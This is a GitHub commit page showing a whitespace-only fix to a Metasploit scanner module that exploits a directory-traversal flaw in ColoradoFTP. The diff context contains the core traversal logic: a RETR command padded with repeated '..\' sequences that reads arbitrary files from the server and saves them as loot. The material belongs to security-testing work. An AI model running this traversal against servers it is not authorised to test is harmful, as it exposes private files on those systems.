Skip to content

Commit efa191d

Browse files
committed
fixed some spacing
1 parent 00d9e69 commit efa191d

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -78,25 +78,25 @@ def run_host(ip)
7878
retr_cmd = '\\\\\\' + ("..\\" * datastore['DEPTH'] ) + "#{file_path}"
7979
res = send_cmd( ["retr", retr_cmd], true)
8080
print_status(res)
81-
81+
8282
# dont assume theres still a sock to read from. Per #7582
8383
if sock.nil?
8484
return
8585
else
8686
# read the file data from the socket that we opened
8787
response_data = sock.read(1024)
8888
end
89-
89+
9090
unless response_data
9191
print_error("#{file} not found")
9292
return
9393
end
94-
94+
9595
if response_data.length == 0
9696
print_status("File (#{file_path})from #{peer} is empty...")
9797
return
9898
end
99-
99+
100100
# store file data to loot
101101
loot_file = store_loot("coloradoftp.ftp.data", "text", rhost, response_data, file, file_path)
102102
vprint_status("Data returned:\n")

0 commit comments

Comments
 (0)